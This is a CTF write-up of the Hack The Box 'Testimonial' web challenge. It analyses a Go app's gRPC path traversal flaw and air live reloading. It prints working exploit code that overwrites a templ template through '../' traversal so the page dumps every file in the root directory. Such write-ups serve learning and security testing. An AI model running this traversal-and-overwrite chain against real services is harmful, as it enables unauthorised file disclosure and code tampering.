forbytten blogs

Testimonial Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the Testimonial Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having an ‘easy’ difficulty. The challenge was a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container. Unlike most other web challenges, the challenge involved two vulnerable components:

  1. The exploitation of a file traversal vulnerability in a gRPC endpoint.
  2. The exploitation of a live reloading mechanism in a web application.

The description of the challenge is shown below.

Testimonial description

2 Key techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 web_testimonial.zip
01d1d100989137347a542e732699cd0d39bec084a71d5671970b98bffa3e3860  web_testimonial.zip

The zip file contained the following, indicating the application is a Go web application:

$ mkdir web_testimonial
$ unzip -d web_testimonial web_testimonial.zip
Archive:  web_testimonial.zip
  inflating: web_testimonial/build-docker.sh
   creating: web_testimonial/challenge/
  inflating: web_testimonial/challenge/go.sum
   creating: web_testimonial/challenge/client/
  inflating: web_testimonial/challenge/client/client.go
 extracting: web_testimonial/challenge/.gitignore
  inflating: web_testimonial/challenge/.air.toml
   creating: web_testimonial/challenge/public/
   creating: web_testimonial/challenge/public/js/
  inflating: web_testimonial/challenge/public/js/bootstrap.min.js
   creating: web_testimonial/challenge/public/testimonials/
  inflating: web_testimonial/challenge/public/testimonials/2.txt
  inflating: web_testimonial/challenge/public/testimonials/1.txt
  inflating: web_testimonial/challenge/public/testimonials/3.txt
   creating: web_testimonial/challenge/public/css/
  inflating: web_testimonial/challenge/public/css/main.css
  inflating: web_testimonial/challenge/public/css/bootstrap.min.css
   creating: web_testimonial/challenge/view/
   creating: web_testimonial/challenge/view/layout/
  inflating: web_testimonial/challenge/view/layout/app.templ
   creating: web_testimonial/challenge/view/home/
  inflating: web_testimonial/challenge/view/home/index.templ
   creating: web_testimonial/challenge/pb/
  inflating: web_testimonial/challenge/pb/ptypes_grpc.pb.go
  inflating: web_testimonial/challenge/pb/ptypes.pb.go
  inflating: web_testimonial/challenge/pb/ptypes.proto
  inflating: web_testimonial/challenge/grpc.go
  inflating: web_testimonial/challenge/go.mod
   creating: web_testimonial/challenge/handler/
  inflating: web_testimonial/challenge/handler/shared.go
  inflating: web_testimonial/challenge/handler/home.go
  inflating: web_testimonial/challenge/main.go
  inflating: web_testimonial/challenge/Makefile
   creating: web_testimonial/challenge/tmp/
  inflating: web_testimonial/challenge/tmp/build-errors.log
  inflating: web_testimonial/Dockerfile
  inflating: web_testimonial/entrypoint.sh
 extracting: web_testimonial/flag.txt

4 Mapping the application

4.1 Mapping the application interactively

Unlike most web application challenges, this one spawned two listening ports

Two listening ports were spawned

Visiting the first one in the Firefox browser, proxied via mitmproxy, resulted in The Fray’s official website:

The first port lead to The Fray’s official website, containing a “Submit your testimonial” form at the bottom of the page

Visiting the second one resulted in a 502 Bad Gateway error, with what appeared to be a pretty printed binary response. The purpose of this port will be revealed via source code analysis later in this writeup.

The second port resulted in a 502 Bad Gateway error and what appeared to be a pretty printed binary response

Near the bottom of the page for the first port was a testimonial submission form. Some simple values were submitted, resulting in a “Test testimonial” being returned in the response

Submission of a testimonial of “Test testimonial” and a customer name of “Test name”
The response contained the “Test testimonial”

4.2 Mapping the application via source code review

To support the interactive mapping and to easily discover hidden endpoints and vulnerabilities, further mapping of the application was conducted via source code review.

4.2.1 Dockerfile

The following were observed in Dockerfile:

  1. A golang 1.22 base image is used

    FROM golang:1.22-alpine3.18
  2. The challenge code is copied to /challenge/

    WORKDIR /challenge/
    
    COPY ./challenge/ /challenge/
  3. The flag is copied to /flag.txt

    COPY ./flag.txt /flag.txt
  4. The downloaded go dependencies include air, which provides “Live reload for Go apps” and templ, which provides an “HTML templating language”

    RUN go mod download -x \
     && go install github.com/cosmtrek/air@latest \
     && go install github.com/a-h/templ/cmd/templ@latest
  5. Two ports are exposed. These don’t have the same externally visible port numbers, since Docker supports a feature for mapping arbitrary externally visible ports to the internal ports.

    EXPOSE 1337
    EXPOSE 50045
  6. entrypoint.sh is called to start the app

    COPY --chown=root entrypoint.sh /entrypoint.sh
    RUN chmod +x /entrypoint.sh
    ENTRYPOINT ["/entrypoint.sh"]

4.2.2 entrypoint.sh

entrypoint.sh was observed to do the following:

  1. Rename the flag file to a secure name with a 10 character lowercase hex suffix. This implies an RCE (remote code execution) vulnerability will likely be needed to obtain the flag.

    mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
  2. Start the application via the air command, which is a “live-reloading command line utility for developing Go applications”

    # Start application
    air

4.2.3 go.mod

go.mod was observed to do the following:

  1. Name the module htbchal so local imports are expected to contain a htbchal/ prefix:

    module htbchal
  2. Declare the go version as 1.21.1:

    go 1.21.1

4.2.4 main.go

In main.go, the main function, which is the entry point for a go application, starts two servers:

  1. An HTTP server with two routes, one for /* that serves the public directory and one for / that is handled by the handler.HandleHomeIndex handler.

    //go:embed public
    var FS embed.FS
    
    func main() {
        router := chi.NewMux()
    
        router.Handle("/*", http.StripPrefix("/", http.FileServer(http.FS(FS))))
        router.Get("/", handler.MakeHandler(handler.HandleHomeIndex))
        go startGRPC()
        log.Fatal(http.ListenAndServe(":1337", router))
    }
  2. A gRPC server. We thus now know that the second port spawned by Docker is a Remote Procedure Call (RPC) interface.

    func startGRPC() error {
        lis, err := net.Listen("tcp", ":50045")
        if err != nil {
            log.Fatal(err)
        }
        s := grpc.NewServer()
    
        pb.RegisterRickyServiceServer(s, &server{})
        if err := s.Serve(lis); err != nil {
            log.Fatal(err)
        }
        return nil
    }

    The pb.RegisterRickyServiceServer is imported from the challenge’s module:

    "htbchal/pb"

4.2.5 home.go

home.go contains the HandleHomeIndex handler for the / route. This handler simply passes the customer and testimonial query parameters down to a SendTestimonial function on line 49.

package handler

import (
    "htbchal/client"
    "htbchal/view/home"
    "net/http"
)

func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
    customer := r.URL.Query().Get("customer")
    testimonial := r.URL.Query().Get("testimonial")
    if customer != "" && testimonial != "" {
        c, err := client.GetClient()
        if err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)

        }

        if err := c.SendTestimonial(customer, testimonial); err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)

        }
    }
    return home.Index().Render(r.Context(), w)
}

4.2.6 The RegisterRickyServiceServer gRPC server

The challenge/pb directory contains three files

From Introduction to gRPC, ptypes.proto can be understood as declaring the interface to the gRPC service, including the structure of the messages:

syntax = "proto3";

option go_package = "/pb";

service RickyService {
    rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}

message TestimonialSubmission {
    string customer = 1;
    string testimonial = 2;
}

message GenericReply {
    string message = 1;
}

ptypes.pb.go contains code generated by protoc-gen-go, as indicated by the comment on line 1. The code appears to be classes corresponding to the messages defined in ptypes.proto.

// Code generated by protoc-gen-go. DO NOT EDIT.

Similarly, ptypes_grpc.pb.go contains code generated by protoc-gen-go-grpc and seems to be classes corresponding to the services defined in ptypes.proto.

// Code generated by protoc-gen-go-grpc. DO NOT EDIT.

grpc.go contains the actual implementation of the SubmitTestimonial function for the RickyService, which is intended to serve the requested testimonial from the public/testimonials directory on line 19.

package main

import (
    "context"
    "errors"
    "fmt"
    "htbchal/pb"
    "os"
)

func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
    if req.Customer == "" {
        return nil, errors.New("Name is required")
    }
    if req.Testimonial == "" {
        return nil, errors.New("Content is required")
    }

    err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
    if err != nil {
        return nil, err
    }

    return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}

5 Vulnerability analysis - file traversal resulting in writing to arbitrary locations

Line 19 in the SubmitTestimonial function contains a file traversal vulnerability, which is an instance of the common weakness CWE-23: Relative Path Traversal. The code ostensibly allows submitters to write testimonials under the public/testimonials/ directory but the directory path is formed using attacker controlled input without any defenses, allowing an attacker to traverse outside the intended directory via the ../ relative path construct.

err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)

However, as seen in home.go, testimonials submitted via the web application delegate to the SendTestimonial function in client/client.go. Line 46-7 contains input validation that replaces many characters with an empty string, which would cause ../ to be neutralized. Nevertheless, this validation can be bypassed entirely because the challenge helpfully exposes the gRPC server port itself.

func (c *Client) SendTestimonial(customer, testimonial string) error {
    ctx := context.Background()
    // Filter bad characters.
    for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
        customer = strings.ReplaceAll(customer, char, "")
    }

    _, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
    return err
}

6 Vulnerability analysis - hot deploy/live reloading of templ templates

As previously observed, the application utilizes air to enable “Live reload for Go apps”. Whilst such a feature is useful for development, it should never be used in a production app. Chained with the file traversal vulnerability, it may be possible to write malicious code that will automatically be loaded by the application.

To understand the live reloading better, .air.toml was examined. Based on the examples, the following was observed

  1. air is configured to build the app into the ./tmp/main directory

    bin = "./tmp/main"
    cmd = "templ generate && go build -o ./tmp/main ."
  2. air is configured to only watch some file extensions. Notably, .go files are omitted. However, templ extensions are included.

    include_ext = ["tpl", "tmpl", "templ", "html"]

Examining index.templ, it was observed the template contains go code. Indeed, the templ documentation advertises “Use Go: Call any Go code, and use standard if, switch, and for statements”.

func GetTestimonials() []string {
    fsys := os.DirFS("public/testimonials")
    files, err := fs.ReadDir(fsys, ".")
    if err != nil {
        return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
    }
    var res []string
    for _, file := range files {
        fileContent, _ := fs.ReadFile(fsys, file.Name())
        res = append(res, string(fileContent))
    }
    return res
}

Furthermore, the GetTestimonials function already reads files and writes their contents to the response. Therefore, if the first line of the function were to be modified via the file traversal vulnerability to read files from /, air would reload this code and the flag file would be returned in the response the next time the home page was loaded.

func GetTestimonials() []string {
    //fsys := os.DirFS("public/testimonials")
    fsys := os.DirFS("/")
    files, err := fs.ReadDir(fsys, ".")
    if err != nil {
        return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
    }
    var res []string
    for _, file := range files {
        fileContent, _ := fs.ReadFile(fsys, file.Name())
        res = append(res, string(fileContent))
    }

    return res
}

7 Exploitation

7.1 Adapting the challenge code to submit the payload to the gRPC server

The attack chain now appeared to be clear:

  1. Construct a index.templ containing a modified GetTestimonials function that reads files from /
  2. Overwrite the deployed index.templ by exploiting the file traversal vulnerability in the gRPC SubmitTestimonial function, causing air to reload the template.
  3. Reload the home page to view the flag.

Code was written to achieve steps 1 and 2 by taking skeleton code from the challenge and modifying it. A grpc-sandpit directory was created containing the following files:

$ find grpc-sandpit/
grpc-sandpit/
grpc-sandpit/grpc.go
grpc-sandpit/README.md
grpc-sandpit/main.go
grpc-sandpit/go.sum
grpc-sandpit/pb
grpc-sandpit/pb/ptypes.proto
grpc-sandpit/pb/ptypes_grpc.pb.go
grpc-sandpit/pb/ptypes.pb.go
grpc-sandpit/client
grpc-sandpit/client/client.go
grpc-sandpit/go.mod

The files that were identical to the challenge were:

$ diff -sr grpc-sandpit/ artifacts/web_testimonial/challenge/ | grep identical
Files grpc-sandpit/go.sum and artifacts/web_testimonial/challenge/go.sum are identical
Files grpc-sandpit/grpc.go and artifacts/web_testimonial/challenge/grpc.go are identical
Files grpc-sandpit/pb/ptypes_grpc.pb.go and artifacts/web_testimonial/challenge/pb/ptypes_grpc.pb.go are identical
Files grpc-sandpit/pb/ptypes.pb.go and artifacts/web_testimonial/challenge/pb/ptypes.pb.go are identical
Files grpc-sandpit/pb/ptypes.proto and artifacts/web_testimonial/challenge/pb/ptypes.proto are identical

The changed files were the following:

  1. client/client.go was modified as follows:

    1. Line 8: comment out the strings import.
    2. Line 33: change the gRPC endpoint IP address and port.
    3. Lines 47-5: remove input filtering in the SendTestimonial function.
    package client
    
    import (
        "context"
        "fmt"
        "log"
        "htbchal/pb"
        //"strings"
        "sync"
    
        "google.golang.org/grpc"
    )
    
    var (
        grpcClient *Client
        mutex      *sync.Mutex
    )
    
    func init() {
        grpcClient = nil
        mutex = &sync.Mutex{}
    }
    
    type Client struct {
        pb.RickyServiceClient
    }
    
    func GetClient() (*Client, error) {
        mutex.Lock()
        defer mutex.Unlock()
    
        if grpcClient == nil {
            conn, err := grpc.Dial(fmt.Sprintf("94.237.54.164%s", ":55951"), grpc.WithInsecure())
            if err != nil {
                //return nil, err
                log.Fatal(err)
            }
    
            grpcClient = &Client{pb.NewRickyServiceClient(conn)}
        }
    
        return grpcClient, nil
    }
    
    func (c *Client) SendTestimonial(customer, testimonial string) error {
        ctx := context.Background()
        // Filter bad characters.
        //for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
        //  customer = strings.ReplaceAll(customer, char, "")
        //}
    
        _, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
        return err
    }
  2. In main.go:

    1. Line 14: sets customer variable to the relative path of the index.templ
    2. Line 15: sets the testimonial to a multi-line string containing a version of index.templ modified on lines 94-5 to read file content from / instead of public/testimonials/.
    3. Line 122: sends the testimonial to the gRPC endpoint.
    package main
    
    import (
        "htbchal/client"
        "htbchal/pb"
        "log"
    )
    
    func main() {
        c, err := client.GetClient()
        if err != nil {
            log.Fatal(err)
        }
        customer := "../../view/home/index.templ"
        testimonial := `package home
    
    import (
        "htbchal/view/layout"
        "io/fs"
        "fmt"
        "os"
    )
    
    templ Index() {
        @layout.App(true) {
    <nav class="navbar navbar-expand-lg navbar-dark bg-black">
      <div class="container-fluid">
        <a class="navbar-brand" href="/">The Fray</a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
                aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarNav">
            <ul class="navbar-nav ml-auto">
                <li class="nav-item active">
                    <a class="nav-link" href="/">Home</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="javascript:void();">Factions</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="javascript:void();">Trials</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="javascript:void();">Contact</a>
                </li>
            </ul>
        </div>
      </div>
    </nav>
    
    <div class="container">
      <section class="jumbotron text-center">
          <div class="container mt-5">
              <h1 class="display-4">Welcome to The Fray</h1>
              <p class="lead">Assemble your faction and prove you're the last one standing!</p>
              <a href="javascript:void();" class="btn btn-primary btn-lg">Get Started</a>
          </div>
      </section>
    
      <section class="container mt-5">
          <h2 class="text-center mb-4">What Others Say</h2>
          <div class="row">
              @Testimonials()
          </div>
      </section>
    
    
      <div class="row mt-5 mb-5">
        <div class="col-md">
          <h2 class="text-center mb-4">Submit Your Testimonial</h2>
          <form method="get" action="/">
            <div class="form-group">
              <label class="mt-2" for="testimonialText">Your Testimonial</label>
              <textarea class="form-control mt-2" id="testimonialText" rows="3" name="testimonial"></textarea>
            </div>
            <div class="form-group">
              <label class="mt-2" for="testifierName">Your Name</label>
              <input type="text" class="form-control mt-2" id="testifierName" name="customer"/>
            </div>
            <button type="submit" class="btn btn-primary mt-4">Submit Testimonial</button>
          </form>
        </div>
      </div>
    </div>
    
    <footer class="bg-black text-white text-center py-3">
        <p>&copy; 2024 The Fray. All Rights Reserved.</p>
    </footer>
        }
    }
    
    func GetTestimonials() []string {
        //fsys := os.DirFS("public/testimonials")
        fsys := os.DirFS("/")
        files, err := fs.ReadDir(fsys, ".")
        if err != nil {
            return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
        }
        var res []string
        for _, file := range files {
            fileContent, _ := fs.ReadFile(fsys, file.Name())
            res = append(res, string(fileContent))
        }
    
        return res
    }
    
    templ Testimonials() {
      for _, item := range GetTestimonials() {
        <div class="col-md-4">
            <div class="card mb-4">
                <div class="card-body">
                    <p class="card-text">"{item}"</p>
                    <p class="text-muted">- Anonymous Testifier!!!</p>
                </div>
            </div>
        </div>
      }
    }
        `
        if err := c.SendTestimonial(customer, testimonial); err != nil {
            log.Fatal(err)
        }
    }
    
    type server struct {
        pb.RickyServiceServer
    }

7.2 Delivering the payload

Wireshark was started before executing the payload, as it is useful to observe network traffic when delivering payloads - it can greatly assist with troubleshooting. The exploit code was built and executed:

$ go build && ./htbchal

In Wireshark, after following the TCP stream the payload was observed to have been successfully submitted.

Start of the payload delivery TCP stream
End of the payload delivery TCP stream, indicating the Testimonial had been successfully delivered

7.3 Obtaining the flag

The home page was reloaded, revealing the flag in the lower right testimonial. As an aside, the lower left testimonial appeared to be the contents of entrypoint.sh, since the exploit reads all files in /.

Reloading the home page after the exploit delivery revealed the flag

8 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned